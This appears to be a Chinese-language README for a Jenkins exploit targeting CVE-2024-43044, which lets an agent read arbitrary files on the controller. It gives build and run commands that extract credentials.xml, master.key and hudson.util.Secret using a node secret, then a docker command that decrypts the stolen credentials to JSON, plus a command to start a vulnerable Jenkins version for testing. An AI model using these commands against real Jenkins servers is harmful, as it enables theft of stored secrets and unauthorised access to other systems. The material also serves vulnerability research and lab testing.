这是一个针对 CVE-2024-43044 的漏洞利用程序,允许代理从控制器任意读取文件。
该漏洞利用将读取 credentials.xml 文件并获取密钥以解密之。
初始代码:https://github.com/convisolabs/CVE-2024-43044-jenkins 原始文章:https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
你可以使用 Docker 在有漏洞的版本上进行测试:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
一旦你有一个正在运行的 Jenkins,设置一个代理。